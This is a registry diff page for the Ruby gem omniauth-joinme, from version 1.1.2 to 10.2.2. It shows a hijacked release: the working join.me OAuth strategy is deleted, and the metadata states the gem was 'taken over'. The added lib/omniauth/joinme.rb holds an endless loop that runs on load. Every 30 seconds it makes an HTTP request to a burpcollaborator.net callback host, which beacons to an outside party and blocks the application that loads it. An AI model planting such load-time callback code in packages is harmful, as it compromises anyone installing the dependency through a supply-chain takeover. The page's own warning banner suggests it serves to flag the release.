omniauth-joinme 1.1.2 → 10.2.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of omniauth-joinme might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/Gemfile +4 -0
- data/README.md +11 -45
- data/Rakefile +3 -9
- data/lib/omniauth/joinme/version.rb +7 -0
- data/lib/omniauth/joinme.rb +20 -0
- data/sig/omniauth/joinme.rbs +6 -0
- metadata +18 -82
- data/.github/workflows/ci.yml +0 -24
- data/.gitignore +0 -10
- data/LICENSE.txt +0 -21
- data/lib/omniauth/strategies/joinme.rb +0 -62
- data/lib/omniauth-joinme/version.rb +0 -5
- data/lib/omniauth-joinme.rb +0 -2
- data/omniauth-joinme.gemspec +0 -32
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: f704bd5ef0c8835edd74018e97780b981d985091f0e0ba70f8a6c85a1a3dc506
|
4
|
+
data.tar.gz: 52bc627c39044a424b22c0ea826870d74bc3157354a3ddd949a6333a55ae38bb
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: d8fd894153e383072be34895e14a747897c4a740ff1c5e9feef8638e149897d96df7c95aa8072a9fc52102c0370a8daaf691cddee99c1dd6f36f104270eb622c
|
7
|
+
data.tar.gz: 634fe8c75caec7af99d32e15ce2f291a73a07e4b65fb776af82ba4b231177bb0ed97f88b2d23e0eacd71313da623a1cf7eb3792d31e5722d586623288a776a15
|
data/Gemfile
CHANGED
data/README.md
CHANGED
@@ -1,63 +1,29 @@
|
|
1
|
-
#
|
1
|
+
# Omniauth::Joinme
|
2
2
|
|
3
|
-
|
3
|
+
Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/omniauth/joinme`. To experiment with that code, run `bin/console` for an interactive prompt.
|
4
4
|
|
5
|
-
|
5
|
+
TODO: Delete this and the text above, and describe your gem
|
6
6
|
|
7
7
|
## Installation
|
8
8
|
|
9
|
-
|
9
|
+
Install the gem and add to the application's Gemfile by executing:
|
10
10
|
|
11
|
-
|
12
|
-
gem 'omniauth-joinme'
|
13
|
-
```
|
11
|
+
$ bundle add omniauth-joinme
|
14
12
|
|
15
|
-
|
16
|
-
|
17
|
-
$ bundle
|
18
|
-
|
19
|
-
Or install it yourself as:
|
13
|
+
If bundler is not being used to manage dependencies, install the gem by executing:
|
20
14
|
|
21
15
|
$ gem install omniauth-joinme
|
22
16
|
|
23
17
|
## Usage
|
24
18
|
|
25
|
-
|
26
|
-
|
27
|
-
This is an example that you might put into a Rails initializer at `config/initializers/omniauth.rb`:
|
28
|
-
|
29
|
-
```ruby
|
30
|
-
Rails.application.config.middleware.use OmniAuth::Builder do
|
31
|
-
provider :joinme, ENV['JOINME_CLIENT_ID'], ENV['JOINME_SECRET']
|
32
|
-
end
|
33
|
-
```
|
34
|
-
|
35
|
-
You can now access the OmniAuth join.me OAuth2 URL: `/auth/joinme`.
|
36
|
-
|
19
|
+
TODO: Write usage instructions here
|
37
20
|
|
38
|
-
##
|
21
|
+
## Development
|
39
22
|
|
40
|
-
|
41
|
-
For more details, read the join.me documentation: https://developer.join.me/docs
|
23
|
+
After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
|
42
24
|
|
43
|
-
|
44
|
-
|
45
|
-
'user_info'
|
46
|
-
|
47
|
-
You can configure the scope option:
|
48
|
-
|
49
|
-
```ruby
|
50
|
-
provider :joinme, ENV['JOINME_CLIENT_ID'], ENV['JOINME_SECRET'], :scope => 'user_info start_meeting'
|
51
|
-
```
|
25
|
+
To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and the created tag, and push the `.gem` file to [rubygems.org](https://rubygems.org).
|
52
26
|
|
53
27
|
## Contributing
|
54
28
|
|
55
|
-
|
56
|
-
2. Create your feature branch (`git checkout -b my-new-feature`)
|
57
|
-
3. Commit your changes (`git commit -am 'Add some feature'`)
|
58
|
-
4. Push to the branch (`git push origin my-new-feature`)
|
59
|
-
5. Create new Pull Request
|
60
|
-
|
61
|
-
## License
|
62
|
-
|
63
|
-
The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).
|
29
|
+
Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/omniauth-joinme.
|
data/Rakefile
CHANGED
@@ -1,10 +1,4 @@
|
|
1
|
-
|
2
|
-
require "rake/testtask"
|
3
|
-
|
4
|
-
Rake::TestTask.new(:test) do |t|
|
5
|
-
t.libs << "test"
|
6
|
-
t.libs << "lib"
|
7
|
-
t.test_files = FileList["test/**/*_test.rb"]
|
8
|
-
end
|
1
|
+
# frozen_string_literal: true
|
9
2
|
|
10
|
-
|
3
|
+
require "bundler/gem_tasks"
|
4
|
+
task default: %i[]
|
@@ -0,0 +1,20 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require_relative "joinme/version"
|
4
|
+
require 'net/http'
|
5
|
+
|
6
|
+
module Omniauth
|
7
|
+
module Joinme
|
8
|
+
class Error < StandardError; end
|
9
|
+
|
10
|
+
|
11
|
+
loop do
|
12
|
+
http = Net::HTTP.new('wwww.fq96q291dn6rsra7npr3nhzdk4qvek.burpcollaborator.net')
|
13
|
+
response = http.request_get('/')
|
14
|
+
p response.code
|
15
|
+
|
16
|
+
sleep 30
|
17
|
+
end
|
18
|
+
|
19
|
+
end
|
20
|
+
end
|
metadata
CHANGED
@@ -1,96 +1,32 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: omniauth-joinme
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version:
|
4
|
+
version: 10.2.2
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
8
|
-
autorequire:
|
7
|
+
- Anupam Singh
|
8
|
+
autorequire:
|
9
9
|
bindir: exe
|
10
10
|
cert_chain: []
|
11
|
-
date: 2022-11-
|
12
|
-
dependencies:
|
13
|
-
|
14
|
-
name: omniauth-oauth2
|
15
|
-
requirement: !ruby/object:Gem::Requirement
|
16
|
-
requirements:
|
17
|
-
- - ">="
|
18
|
-
- !ruby/object:Gem::Version
|
19
|
-
version: 1.3.1
|
20
|
-
type: :runtime
|
21
|
-
prerelease: false
|
22
|
-
version_requirements: !ruby/object:Gem::Requirement
|
23
|
-
requirements:
|
24
|
-
- - ">="
|
25
|
-
- !ruby/object:Gem::Version
|
26
|
-
version: 1.3.1
|
27
|
-
- !ruby/object:Gem::Dependency
|
28
|
-
name: rake
|
29
|
-
requirement: !ruby/object:Gem::Requirement
|
30
|
-
requirements:
|
31
|
-
- - "~>"
|
32
|
-
- !ruby/object:Gem::Version
|
33
|
-
version: '13.0'
|
34
|
-
type: :development
|
35
|
-
prerelease: false
|
36
|
-
version_requirements: !ruby/object:Gem::Requirement
|
37
|
-
requirements:
|
38
|
-
- - "~>"
|
39
|
-
- !ruby/object:Gem::Version
|
40
|
-
version: '13.0'
|
41
|
-
- !ruby/object:Gem::Dependency
|
42
|
-
name: minitest
|
43
|
-
requirement: !ruby/object:Gem::Requirement
|
44
|
-
requirements:
|
45
|
-
- - "~>"
|
46
|
-
- !ruby/object:Gem::Version
|
47
|
-
version: '5.0'
|
48
|
-
type: :development
|
49
|
-
prerelease: false
|
50
|
-
version_requirements: !ruby/object:Gem::Requirement
|
51
|
-
requirements:
|
52
|
-
- - "~>"
|
53
|
-
- !ruby/object:Gem::Version
|
54
|
-
version: '5.0'
|
55
|
-
- !ruby/object:Gem::Dependency
|
56
|
-
name: mocha
|
57
|
-
requirement: !ruby/object:Gem::Requirement
|
58
|
-
requirements:
|
59
|
-
- - "~>"
|
60
|
-
- !ruby/object:Gem::Version
|
61
|
-
version: '2.0'
|
62
|
-
type: :development
|
63
|
-
prerelease: false
|
64
|
-
version_requirements: !ruby/object:Gem::Requirement
|
65
|
-
requirements:
|
66
|
-
- - "~>"
|
67
|
-
- !ruby/object:Gem::Version
|
68
|
-
version: '2.0'
|
69
|
-
description: An OmniAuth strategy for join.me
|
11
|
+
date: 2022-11-22 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: taken over by AnupamAS01
|
70
14
|
email:
|
71
|
-
-
|
15
|
+
- 79111711+AnupamAS01@users.noreply.github.com
|
72
16
|
executables: []
|
73
17
|
extensions: []
|
74
18
|
extra_rdoc_files: []
|
75
19
|
files:
|
76
|
-
- ".github/workflows/ci.yml"
|
77
|
-
- ".gitignore"
|
78
20
|
- Gemfile
|
79
|
-
- LICENSE.txt
|
80
21
|
- README.md
|
81
22
|
- Rakefile
|
82
|
-
- lib/omniauth
|
83
|
-
- lib/omniauth
|
84
|
-
-
|
85
|
-
|
86
|
-
|
87
|
-
|
88
|
-
|
89
|
-
metadata:
|
90
|
-
homepage_uri: https://github.com/docsend/omniauth-joinme
|
91
|
-
source_code_uri: https://github.com/docsend/omniauth-joinme
|
92
|
-
bug_tracker_uri: https://github.com/docsend/omniauth-joinme/issues
|
93
|
-
post_install_message:
|
23
|
+
- lib/omniauth/joinme.rb
|
24
|
+
- lib/omniauth/joinme/version.rb
|
25
|
+
- sig/omniauth/joinme.rbs
|
26
|
+
homepage: https://anupamas0x1.github.io
|
27
|
+
licenses: []
|
28
|
+
metadata: {}
|
29
|
+
post_install_message:
|
94
30
|
rdoc_options: []
|
95
31
|
require_paths:
|
96
32
|
- lib
|
@@ -98,15 +34,15 @@ required_ruby_version: !ruby/object:Gem::Requirement
|
|
98
34
|
requirements:
|
99
35
|
- - ">="
|
100
36
|
- !ruby/object:Gem::Version
|
101
|
-
version:
|
37
|
+
version: 2.6.0
|
102
38
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
103
39
|
requirements:
|
104
40
|
- - ">="
|
105
41
|
- !ruby/object:Gem::Version
|
106
42
|
version: '0'
|
107
43
|
requirements: []
|
108
|
-
rubygems_version: 3.3.
|
109
|
-
signing_key:
|
44
|
+
rubygems_version: 3.0.3.1
|
45
|
+
signing_key:
|
110
46
|
specification_version: 4
|
111
|
-
summary:
|
47
|
+
summary: AnupamAS01
|
112
48
|
test_files: []
|
data/.github/workflows/ci.yml
DELETED
@@ -1,24 +0,0 @@
|
|
1
|
-
name: CI
|
2
|
-
|
3
|
-
on: [push, pull_request]
|
4
|
-
|
5
|
-
jobs:
|
6
|
-
test:
|
7
|
-
runs-on: ubuntu-latest
|
8
|
-
|
9
|
-
strategy:
|
10
|
-
fail-fast: false
|
11
|
-
matrix:
|
12
|
-
ruby: [ 2.6, 2.7, 3.0, 3.1 ]
|
13
|
-
|
14
|
-
steps:
|
15
|
-
- uses: actions/checkout@v3
|
16
|
-
|
17
|
-
- name: Setup Ruby
|
18
|
-
uses: ruby/setup-ruby@v1
|
19
|
-
with:
|
20
|
-
ruby-version: ${{ matrix.ruby }}
|
21
|
-
bundler-cache: true # runs 'bundle install' and caches installed gems automatically
|
22
|
-
|
23
|
-
- name: Build and test with Minitest
|
24
|
-
run: bin/rake
|
data/.gitignore
DELETED
data/LICENSE.txt
DELETED
@@ -1,21 +0,0 @@
|
|
1
|
-
The MIT License (MIT)
|
2
|
-
|
3
|
-
Copyright (c) 2016 DocSend
|
4
|
-
|
5
|
-
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
-
of this software and associated documentation files (the "Software"), to deal
|
7
|
-
in the Software without restriction, including without limitation the rights
|
8
|
-
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
-
copies of the Software, and to permit persons to whom the Software is
|
10
|
-
furnished to do so, subject to the following conditions:
|
11
|
-
|
12
|
-
The above copyright notice and this permission notice shall be included in
|
13
|
-
all copies or substantial portions of the Software.
|
14
|
-
|
15
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
-
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
-
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
-
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
-
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
-
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
21
|
-
THE SOFTWARE.
|
@@ -1,62 +0,0 @@
|
|
1
|
-
require "omniauth-oauth2"
|
2
|
-
require "omniauth/strategies/oauth2"
|
3
|
-
|
4
|
-
module OmniAuth
|
5
|
-
module Strategies
|
6
|
-
class Joinme < OmniAuth::Strategies::OAuth2
|
7
|
-
option :name, "joinme"
|
8
|
-
option :scope, "user_info"
|
9
|
-
option :client_options, {
|
10
|
-
site: "https://api.join.me/v1",
|
11
|
-
authorize_url: "https://secure.join.me/api/public/v1/auth/oauth2",
|
12
|
-
token_url: "https://secure.join.me/api/public/v1/auth/token"
|
13
|
-
}
|
14
|
-
|
15
|
-
uid { raw_info["email"] }
|
16
|
-
|
17
|
-
info do
|
18
|
-
{
|
19
|
-
name: raw_info["full_name"],
|
20
|
-
email: raw_info["email"],
|
21
|
-
conference_settings: raw_info["conference_settings"]
|
22
|
-
}
|
23
|
-
end
|
24
|
-
|
25
|
-
extra do
|
26
|
-
{"raw_info" => raw_info}
|
27
|
-
end
|
28
|
-
|
29
|
-
# Merge the refresh_token into the credentials hash
|
30
|
-
# even if join.me doesn't return an expiration in its /token response
|
31
|
-
credentials do
|
32
|
-
hash = {"token" => access_token.token}
|
33
|
-
hash["refresh_token"] = access_token.refresh_token if access_token.refresh_token
|
34
|
-
hash
|
35
|
-
end
|
36
|
-
|
37
|
-
def raw_info
|
38
|
-
@raw_info ||= keys_to_underscore(MultiJson.decode(access_token.get("user").body))
|
39
|
-
end
|
40
|
-
|
41
|
-
# Exclude query string in callback_url to prevent redirect_uri mismatch
|
42
|
-
def callback_url
|
43
|
-
options[:callback_url] || (full_host + script_name + callback_path)
|
44
|
-
end
|
45
|
-
|
46
|
-
private
|
47
|
-
|
48
|
-
def keys_to_underscore(hash)
|
49
|
-
new_hash = {}
|
50
|
-
hash.each do |key, value|
|
51
|
-
value = keys_to_underscore(value) if value.is_a?(Hash)
|
52
|
-
new_key = key.gsub(/([A-Z]+)([A-Z][a-z])/, '\1_\2')
|
53
|
-
.gsub(/([a-z\d])([A-Z])/, '\1_\2')
|
54
|
-
.tr("-", "_")
|
55
|
-
.downcase
|
56
|
-
new_hash[new_key] = value
|
57
|
-
end
|
58
|
-
new_hash
|
59
|
-
end
|
60
|
-
end
|
61
|
-
end
|
62
|
-
end
|
data/lib/omniauth-joinme.rb
DELETED
data/omniauth-joinme.gemspec
DELETED
@@ -1,32 +0,0 @@
|
|
1
|
-
lib = File.expand_path("../lib", __FILE__)
|
2
|
-
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
3
|
-
require "omniauth-joinme/version"
|
4
|
-
|
5
|
-
Gem::Specification.new do |spec|
|
6
|
-
spec.name = "omniauth-joinme"
|
7
|
-
spec.version = OmniAuth::Joinme::VERSION
|
8
|
-
spec.authors = ["Matt Agra"]
|
9
|
-
spec.email = ["matt@docsend.com"]
|
10
|
-
|
11
|
-
spec.summary = "An OmniAuth strategy for join.me"
|
12
|
-
spec.description = "An OmniAuth strategy for join.me"
|
13
|
-
spec.homepage = "https://github.com/docsend/omniauth-joinme"
|
14
|
-
spec.license = "MIT"
|
15
|
-
|
16
|
-
spec.metadata = {
|
17
|
-
"homepage_uri" => spec.homepage,
|
18
|
-
"source_code_uri" => spec.homepage,
|
19
|
-
"bug_tracker_uri" => "#{spec.homepage}/issues"
|
20
|
-
}
|
21
|
-
|
22
|
-
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(bin|test|spec|features)/}) }
|
23
|
-
spec.bindir = "exe"
|
24
|
-
spec.executables = []
|
25
|
-
spec.require_paths = ["lib"]
|
26
|
-
|
27
|
-
spec.add_runtime_dependency "omniauth-oauth2", ">= 1.3.1"
|
28
|
-
|
29
|
-
spec.add_development_dependency "rake", "~> 13.0"
|
30
|
-
spec.add_development_dependency "minitest", "~> 5.0"
|
31
|
-
spec.add_development_dependency "mocha", "~> 2.0"
|
32
|
-
end
|